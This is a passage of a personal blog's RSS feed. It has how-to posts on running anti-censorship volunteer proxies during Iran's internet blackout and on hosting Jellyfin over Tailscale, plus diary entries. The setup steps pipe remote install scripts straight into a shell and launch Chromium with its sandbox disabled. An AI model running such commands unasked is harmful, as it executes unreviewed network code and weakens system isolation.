+iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
+SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
+kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
+ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
+Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
+3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
+TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
+=2UUg
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md
+curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md.asc
+gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
+  
+
+ + +]]>
Blackouthttps://blog.alipour.eu/posts/blackout/Mon, 26 Jan 2026 07:21:51 +0000https://blog.alipour.eu/posts/blackout/I tried to be more useful, but when I couldn&#39;t, I found another way.Ever since the latest Internet/communication blackout in Iran, I’ve been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven’t opened it again.

+

After getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so.

+

One important vibe check before we start: I’m not giving anyone a custom “backdoor” into your network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as volunteer nodes inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself.

+

Running Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever)

+

I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born.

+

So I turned my Pis into helpers.

+

This post is about running three different anti‑censorship tools on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals:

+
    +
  • Psiphon Conduit – to help Psiphon users automatically
  • +
  • Tor Snowflake (standalone proxy) – to help Tor users automatically
  • +
  • Lantern Unbounded – a browser‑based volunteer bridge, daemonized so it runs forever
  • +
+

Everything runs headless (or headless‑ish), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive.

+
+

The philosophy: don’t be a public server, be a volunteer node

+

A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house.

+

Instead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX.

+

That’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”.

+
+

What you need (one time)

+

This guide assumes Ubuntu on ARM (Pi). It works on a normal server too.

+

First, install Docker (because containers are a gift):

+
sudo apt update
+sudo apt install -y curl
+curl -fsSL https://get.docker.com -o get-docker.sh
+sudo sh get-docker.sh
+sudo usermod -aG docker $USER
+newgrp docker
+

Now make yourself a clean playground under /srv:

+
sudo mkdir -p /srv/{conduit,snowflake,lantern}
+sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern}
+

I like /srv because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am.

+
+

Conduit: quietly helping Psiphon users (Docker)

+

Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required.

+

The important part is persistence. Conduit generates an identity key the first time it runs (conduit_key.json), and that identity builds reputation over time. If you lose it, you start from zero again.

+

The file: /srv/conduit/docker-compose.yml

+

Create it:

+
cd /srv/conduit
+vim docker-compose.yml
+

Paste this:

+
services:
+  conduit:
+    image: ghcr.io/ssmirr/conduit/conduit:latest
+    container_name: conduit
+    restart: unless-stopped
+
+    # Keep keys and state across restarts
+    volumes:
+      - ./data:/app/data
+
+    # Optional: if you want a different bandwidth limit / max clients,
+    # you can pass CLI flags here (these are examples).
+    # command: ["conduit", "start", "-b", "4", "-c", "8"]
+

Then bring it up:

+
docker compose up -d
+docker logs -f conduit
+

When it’s working, you’ll see things like:

+
    +
  • [OK] Connected to Psiphon network
  • +
  • periodic [STATS] lines with Connecting/Connected counters (that’s your “is anyone using this?” moment)
  • +
+

If you ever want to stop it:

+
docker stop conduit
+

Or “disable but keep everything” (recommended):

+
docker compose down
+

Or “delete it from orbit” (not recommended unless you enjoy rebuilding):

+
docker rm -f conduit
+

+

Snowflake: Tor, but even quieter (Docker Compose)

+

Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes watchtower for automatic updates.

+

The file: /srv/snowflake/docker-compose.yml

+

You can download the official file exactly like this:

+
cd /srv/snowflake
+wget -O docker-compose.yml \
+  "https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads"
+

If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML:

+
services:
+  snowflake-proxy:
+    network_mode: host
+    image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest
+    container_name: snowflake-proxy
+    restart: unless-stopped
+
+    # For a full list of Snowflake proxy args, see the upstream docs.
+    # Example if you ever need it:
+    # command: ["-ephemeral-ports-range", "30000:60000"]
+
+  watchtower:
+    image: containrrr/watchtower
+    container_name: watchtower
+    restart: unless-stopped
+    volumes:
+      - /var/run/docker.sock:/var/run/docker.sock
+    command: snowflake-proxy
+

Start it (with auto updates):

+
docker compose up -d
+docker logs -f snowflake-proxy
+

If you see:

+
Proxy starting
+NAT type: restricted
+

…that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping.

+

If you get the “container name already in use” error, it just means you already have a snowflake-proxy container from a previous attempt. Fix it with:

+
docker rm -f snowflake-proxy
+docker compose up -d
+

+

Lantern Unbounded: a browser that helps people (systemd + Xvfb)

+

Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”.

+

So we cheat — politely.

+

We run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps.

+

Install what we need

+
sudo apt update
+sudo apt install -y xvfb
+sudo apt install -y chromium-browser || sudo apt install -y chromium
+

Fix the X11 socket dir permissions (the annoying but essential part)

+

If you don’t do this, Xvfb may throw:

+

_XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.

+

Fix it once:

+
sudo chmod 1777 /tmp
+sudo mkdir -p /tmp/.X11-unix
+sudo chown root:root /tmp/.X11-unix
+sudo chmod 1777 /tmp/.X11-unix
+

The file: /etc/systemd/system/unbounded.service

+

Pick your username. On my boxes, it’s either hub or rpi. Use your actual user.

+

Create the service:

+
sudo vim /etc/systemd/system/unbounded.service
+

Paste this, and replace YOUR_USER with your username (e.g. hub or rpi):

+
[Unit]
+Description=Lantern Unbounded (Xvfb + Chromium)
+After=network-online.target
+Wants=network-online.target
+
+[Service]
+User=YOUR_USER
+Environment=DISPLAY=:99
+Environment=XDG_RUNTIME_DIR=/run/user/%U
+
+ExecStart=/usr/bin/bash -lc '\
+  /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac & \
+  sleep 1; \
+  $(command -v chromium || command -v chromium-browser) \
+    --no-first-run \
+    --disable-breakpad \
+    --disable-features=TranslateUI \
+    --autoplay-policy=no-user-gesture-required \
+    --use-fake-ui-for-media-stream \
+    --disable-gpu \
+    --no-sandbox \
+    --app=https://unbounded.lantern.io/ \
+    --kiosk \
+    --window-size=1280,720 \
+    --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \
+    --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \
+'
+
+Restart=always
+RestartSec=5
+KillMode=mixed
+
+[Install]
+WantedBy=multi-user.target
+

Enable and start:

+
sudo systemctl daemon-reload
+sudo systemctl enable --now unbounded.service
+systemctl status unbounded.service --no-pager
+

If you see Active: active (running), you’ve won.

+

“It runs headless-ish, but how do I know it’s alive?”

+

The simplest “is it on?” checks:

+
systemctl status unbounded.service --no-pager
+journalctl -u unbounded.service -f
+

And the “is it actually doing network things?” check:

+
sudo ss -tunap | egrep 'chrome|chromium|:443|:3478' || true
+

If you ever want to stop it:

+
sudo systemctl stop unbounded.service
+

If you want it not to start on boot:

+
sudo systemctl disable unbounded.service
+

+

A note on safety, legality, and expectations

+

None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running.

+

The good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts.

+

That’s the part I like.

+
+

The quiet satisfaction of it all

+

There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t.

+

No dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by.

+

And honestly? That’s enough.

+
+

Some rants

+

I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we’ve been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom’s face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :(

+

This is super sad and frustrating. I’ve not really been writing anything due to this. When I came back from my congress + Vienna trip, I’ve been dealing with this situation. It’s just annoying. Let’s cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh… :(

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
+jSoETRAAm6hrWmkHuZeV8JvwSruIuOLkb5LjziFswHUJ8eHrkS+WczSN1mgw5rrx
+A7pKwjInH+uf/gs3u84Fx9rrgwPTfLQN+++iuDYobWddwFWvXyCpJ/nBene2i8Dr
+EwLxgEHAAUEDVmhQLv0TkRdFwhc4Rsds5ajDZHgWzj1GPw6SLpH4QCe02fvBm4Xu
+5E+QArl1w47DLJMktoxCT/8tTRtEdls8hwu5WHRJmq3PLJmC9ScSrUmN3S9k3Nrj
+Ue5mkkZB25fCojBfRkfska9iYsASi2WxuKLsoiqbRqvi2KdgZ7OIGZM5HRUf9WNH
+XEBD36MCgXA3YEjZPhBrVbOXsqosa5MLiV7XD684K6YsKf37hxqZC7p+XhtcHxwh
+Pg6AkODzJuZJV2h75UhqHiLSB9xhpX1mtV8IaToyiGRjnLuDthEDsFe7JjejF2cx
+EXK9Jop7SSqAbB95WsLiWZtvaBgmcyv7XLoe9v5xAm0HyQ97Jn84hnXB1d8QQon7
+YYCMNgyLDMo7TlI4HPmgVQYU7/P4xbo6cBdOicif8N+kj0Pf6uFQZ8TB+/Grqsgo
+xqyrVpCTo/FjabJc8ybN36GwuZVMXpkl3etf2Tmls4A4jDP6CsB5F9vcRnVHyeic
+pihbZa4Gb9GZTdFmFAHuXVHyVU9APRAq9MMmrUJB9oJgvCOM+Cw=
+=t4W3
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/blackout.md
+curl -fSLO https://blog.alipour.eu/sources/posts/blackout.md.asc
+gpg --verify blackout.md.asc blackout.md
+  
+
+ + +]]>
2025 Highlighthttps://blog.alipour.eu/posts/2025_highlight/Mon, 05 Jan 2026 18:53:54 +0000https://blog.alipour.eu/posts/2025_highlight/<p>I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) +Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.</p>I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) +Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.

+

After this very magical event, I got myself an Interrail 4-day pass and visited one of my two besties in Vienna. He had two sweet roomies, who were cool and hospitable. It truely felt like I was back home. We went out a few times, visited Vienna, went to an all-you-can-eat Sushi, played Poker, watched few movies together, baked a pizza with homemade sause and dough. I also managed to visit ISTA and got to test my flipper zero by cloning my friend’s NFC tag. It was an amaing trip that I will not forget. I think I got much closer to my bestie. We’ve been friends, but not that close at least in his eye. Though in mine he was my best friend before getting to meet my other best friend. ;P And yes, I do have two best friends. One lives in Vienna, and the other in Moen, Norway. They are just amazing people. We also did some cafe-hopping. Idk what about the trip was, but I enjoyed it so so incredibly much. I hope I see my friend more, and get to hangout with him more. There is a difference between those who are your real friends, and those who act like it for a bit. I think I’m getting better at knowing who my friends are, and who are there for the heck of it. Oh, and we also plated lots and lots of PS5, Fifa2026, Brawlhalla, etc..

+

Bonus: Remember I said we went to a Sushi place? I’ve been nagging people about going to a bar and practice flirting, they kinda say yes, but never do it. We saw an extremely beautiful girl in the Sushi place, and my friend told me if I’m so serious, I should go tell her. And you know what, I did. I approached her, told her and her friend that “we were eating across the hall, and I noticed how pretty she is!”. They both smiled and thanked me, they truely glewed up!!! It was soooooooo sweeeeeeeeeet. I then wished them a nice evening and left. I didn’t want to make it awkward by asking for a number, etc.. It was a beautiful memory, and I wanted it to stay beautiful. So hell yea. I noticed that my aura increased by a lot at least between me and the people we went to that place with. :D Yeeeehaaaaa.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
+jSqqgw//YtZhSWMZxoRDP7DCvFwPU5XFvNzAbfRV7vbCjA0YTosI2zHVQpu0Os11
+vHLyI6P0331AlPtEjcZG0ZLLreCDSOZjh9sZHgdoCMUyG5brdS2fIsMlFmPT5bj8
+Ns61MOe4BYsKJF6/Uzt1aT8Pf21M2a5qgJ8GZ4hKh+dxU4LtSIp6CaGNHH6mrhq5
+LjY8rbQtJE2KzsuGevf4NNSQAhZGwxUlwfUsdreRFTWSVDpv7Tjwa/4Go+hE/0n0
+HWcmIsQgBMiu+XEN5R8jCmW+IZ4uN0FMW6Y+IlfLKNmhhTCj/e+2kO3mxP5TPltf
+2B72vMhhca6xTW3yGIUh0C/QQz7CqCxB0KMsAQrO2ebwEZCkPspahxqoXL9E1QNy
+JIafzVNz9tIDe1SfnP9NnxQ+gNu8WIyPA96nUNDyhQyE3mgP6m68LKePrRHaJ1Zu
+5xpuA8nesJsD9oM+ryzcFgHzbPmu9Syub9xczWHYNParjS/34FzGZ7/kT6kKZCE2
+cxIGSe7G53FL4ONXL/mQf7C2z5JwcRz0PJ2vstNEv/7oYF11jpvt0OsR9QjbxdF1
+Msj9Hqs9rr9ylBYWztWmXws7SYuoZRdoC4M6lGucLsbcK+FjAvby+KYBObc/mbB4
+ANszhS/yDDQIQwXJcmpKVpRWqE/eLTJGKndCinUsUnTnJ30mtr0=
+=T3Em
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/2025_highlight.md
+curl -fSLO https://blog.alipour.eu/sources/posts/2025_highlight.md.asc
+gpg --verify 2025_highlight.md.asc 2025_highlight.md
+  
+
+ + +]]>
Seeing the "Light"https://blog.alipour.eu/posts/seeing_the_light/Thu, 25 Dec 2025 11:26:04 +0000https://blog.alipour.eu/posts/seeing_the_light/<p>I have a strong hunch that I made it. I beat my MDD. I&rsquo;m finally happy! I&rsquo;m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.</p> +<p>Currently I&rsquo;m sitting in Hamburg&rsquo;s CCH, being an Angel in disguise. ;D</p> +<p>I could not land myself any shifts before 1600, so I have to sit around and wait, and blog.</p>I have a strong hunch that I made it. I beat my MDD. I’m finally happy! I’m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.

+

Currently I’m sitting in Hamburg’s CCH, being an Angel in disguise. ;D

+

I could not land myself any shifts before 1600, so I have to sit around and wait, and blog.

+

I also want to talk about some random thing that happened yesterday. It was me and a colleague in office. I suspected he’s been wanting to talk to me about… well… something, but he was too cautious, as if I would screw him over? I have to clue to be honest. He insisted he had no idea I knew why he was saying that he was saying, but in the end I could see we both knew what we were talking about.

+

He kinda talked about my view on relationships and dating, the meaning behind it, and my future plans. He then told me to “give time to time”. So… yea. Idk. She will probably talk to me about this as time goes on. I don’t want to feel anxious though, it should not matter what the outcome is. I should not count on anything, or start counting my chickens before they hatch.

+

Another funny thing that happened was that a friend of mine wanted to introduce a potential match, but then he kinda scewed away from it. I have no idea why, but since I tend to assume the worst in things, I should not thinnk about it.

+

As time goes by, and as I become more experienced, I feel more relieved.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
+jSr7aBAAgOSc2FBGLiHK+6odcxj1VJGnhkV2ibMv8M1e1v1qzIu8wpBBhOzP/XCm
+YQhFqtn6LIB2XWMnKjLagYTNgn8jWirAHC95QkoILsoAdShPvh57Tt+DKmZnHJlz
+siRwHqE/+peFHpqfjwUf7GLzF/AeiFD3Se3nSPjRe4olRiUDMMhPvNDBW1seQqKn
+y4CzVsjVClxVCyUf4b361F07+XuGv3kmKOnWTV3suLZykpWpxiQTRdq+jI7DBZKK
+ZKimruFbc7iYVaQOs0biNXL2MFn9JXEvqAApPkkJ85JfVwvhDieThu+sw0+EQoc0
+riFVnb2+TK1OSkAu7w7HFLcUY0gGZ4+lrmTQDpsEO69xcFXMyZZQDW/B4qnj2qo0
+kp267oEPRToficNjpTKu0VhKtEaDNh5JMasxSEdwzehNp6K1Hp6LdRiVPEArWnxZ
+jL35SgQzElB5ifYy3CYjTj2CA/qxC01OZrzoPbia9RLsdFBJEscYrSGBAqqRgZ/+
+KTK/nsubJQtXF0Ui7fCZS/Dv4iR3tH0hyDi+w+mYWRzzFq0jnQsBYYu3QmjuhU+V
+hfZHIYkH3yQV7k4XCa3wpMvnwC7I1od4ZmCjB98ITaz8U+BVHRT//Y2w6Xnd1OJi
+terYCiMGVC5sJzaUw8ZGfMf0l78J8X8B5KD+ZBtAs12NdekX/V4=
+=xRmw
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/seeing_the_light.md
+curl -fSLO https://blog.alipour.eu/sources/posts/seeing_the_light.md.asc
+gpg --verify seeing_the_light.md.asc seeing_the_light.md
+  
+
+ + +]]>
Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4https://blog.alipour.eu/posts/boredom/Sun, 21 Dec 2025 09:30:00 +0100https://blog.alipour.eu/posts/boredom/A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later.Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

+

I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

+

This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

+

The idea

+

Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

+

The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

+

What you need

+

My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

+

Step one: choose a home for your stuff

+

Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

+

On the Pi, I created a little directory neighborhood under /srv:

+
sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
+sudo chown -R $USER:$USER /srv
+

If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

+

Step two: install Docker and start thinking in containers

+

I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

+

A typical install flow on Raspberry Pi OS looks like this:

+
sudo apt update
+sudo apt install -y ca-certificates curl
+curl -fsSL https://get.docker.com | sh
+sudo usermod -aG docker $USER
+newgrp docker
+docker --version
+docker compose version
+

Now for the part that feels like summoning a friendly daemon.

+

Step three: Jellyfin, running happily in Docker

+

In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

+

Here’s a simple docker-compose.yml that works well on a Pi:

+
services:
+  jellyfin:
+    image: jellyfin/jellyfin:latest
+    container_name: jellyfin
+    user: "1000:1000"
+    ports:
+      - "8096:8096/tcp"
+      - "7359:7359/udp"
+    volumes:
+      - /srv/jellyfin/config:/config
+      - /srv/jellyfin/cache:/cache
+      - /srv/media:/media
+    restart: unless-stopped
+

If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

+

I started Jellyfin like this:

+
cd /srv/compose/jellyfin
+docker compose up -d
+

After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

+

Step four: Tailscale, the magic door for friends

+

Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

+
curl -fsSL https://tailscale.com/install.sh | sh
+sudo tailscale up
+tailscale ip -4
+

That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

+
http://100.x.y.z:8096
+

Or if you enabled magicDNS:

+
http://rpi:8096
+

The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

+

If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

+

Step five: create a Jellyfin user for your friend

+

Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

+

If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

+

Step six: the secret to a smooth Pi movie night is Direct Play

+

A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

+

For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

+

The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

+
ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
+

Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

+
ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
+

Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

+

Step seven: SyncPlay, aka “we pressed play together”

+

Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

+

Starting on microSD, graduating to SSD later

+

Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

+

The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

+

Where this goes next

+

Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

+

For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

+

Happy streaming.

+

The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
+jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
+TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
+V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
+Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
+dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
+LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
+efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
+haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
+5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
+sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
+kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
+=/K6E
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md
+curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md.asc
+gpg --verify boredom.md.asc boredom.md
+  
+
+ + +]]>
